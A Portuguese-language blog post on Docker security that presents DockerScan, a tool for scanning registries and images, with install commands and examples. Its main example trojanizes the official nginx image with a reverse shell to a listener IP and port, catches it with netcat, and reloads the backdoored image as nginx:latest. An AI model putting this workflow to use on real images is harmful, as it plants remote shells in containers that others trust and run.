DevSecOps

4 jan, 2018

DockerScan: análise e hacking para Docker

Publicidade

Olá, gente! Tudo bem?

Continuando a série de textos sobre Segurança e Docker, hoje vou falar sobre uma das ferramentas que citei no texto Segurança e hacking de containers Docker, vamos ver mais detalhes sobre a ferramenta DockerScan.

Ela é uma ferramentas de análise e hacking de containers Docker, com a qual é possível fazer uma varredura buscando por vulnerabilidades de segurança e também fazer o inverso, injetar vulnerabilidades em imagens Docker. Abaixo vamos ver suas principais funcionalidades e alguns exemplos de uso.

Principais funcionalidades

Faz scan de uma rede tentando localizar os Docker Registries

Registry:

  • Delete: Exclui image / tag remota
  • Info: Mostra informações de registros remotos
  • Push: Envia uma imagem
  • Upload: Upload de arquivo

Image:

  • Analyze:
    • Busca por informações confidenciais em uma imagem
    • Busca por senhas em variáveis de ambiente
    • Busca por qualquer URL / IP em variáveis de ambiente
    • Tenta identificar o usuário usado para executar o software
  • Extract: extrair uma imagem
  • Info: Obtém meta-informação da imagem
  • Modify:
    • entrypoint: altere o ponto de entrada em um Docker
    • trojanize: injeta um reverse shell em uma imagem Docker
    • user: altere o usuário em execução em uma imagem Docker

Instalando o DockerScan

Vamos ver agora como é simples instalar a ferramenta DockerScan.

Primeiro, instale o gerenciador de pacotes da linguagem Python o pip:

$ python3.5 -m pip install -U pip

Agora, instalamos o DockerScan:

$ python3.5 -m pip install dockerscan

Verifique se a instalação foi feita corretamente e exiba as opções de funcionamento:

$ dockerscan -h

Exemplos de utilização

Agora vamos para a parte legal: por a mão na massa! Vamos ver alguns exemplos de como o DockerScan pode ser utilizado:

Com o comando abaixo, pode ser escaneada uma imagem para identificar possíveis vulnerabilidades:

$ dockerscan image info nome-da-imagem

Seguindo os passos abaixo, podemos injetar vulnerabilidade em uma imagem Docker. Vamos adicionar um reverse shell neste exemplo:

//Baixe a imagem oficial do nginx
$ docker pull nginx

//Salve uma cópia da imagem
$ docker save nginx -o nginx-original

//Liste o conteúdo do diretório para ver se foi criada a cópia
$ ls -lh nginx-original

//Execute o seguinte comando para ver as informações da imagem
$ dockerscan image info nginx-original

//Execute um ifconfig para saber seu ip
$ ifconfig

//Execute para injetar um reverser shell
$ dockerscan image modify trojanize nginx-original -l 172.18.0.1 -p 2222 -o nginx-trojanized
//Com este comando será criada uma nova imagem com um reverse shell

//Execute em outro terminal para ficar "ouvindo" a porta 2222
$ nc -v -k -l 2222

//Faça o load da imagem com vulnerabilidade
$ docker load -i nginx-trojanized.tar

//Execute
$ docker run nginx:latest

Um reverse shell é um tipo de shell no qual a máquina alvo se comunica de volta à máquina atacante. A máquina atacante tem uma porta ouvinte na qual ele recebe a conexão que ao usar o código, a execução do comando é alcançada.

Isso é tudo por enquanto, no repositório do projeto DockerScan pode ser encontrada mais informações sobre esta ferramenta. Se você conhece outras dicas, ferramentas, ficou com alguma dúvida ou tem algo a contribuir, deixe um comentário abaixo.

Obrigado pela leitura.

***

Texto originalmente publicado no Mundo Docker.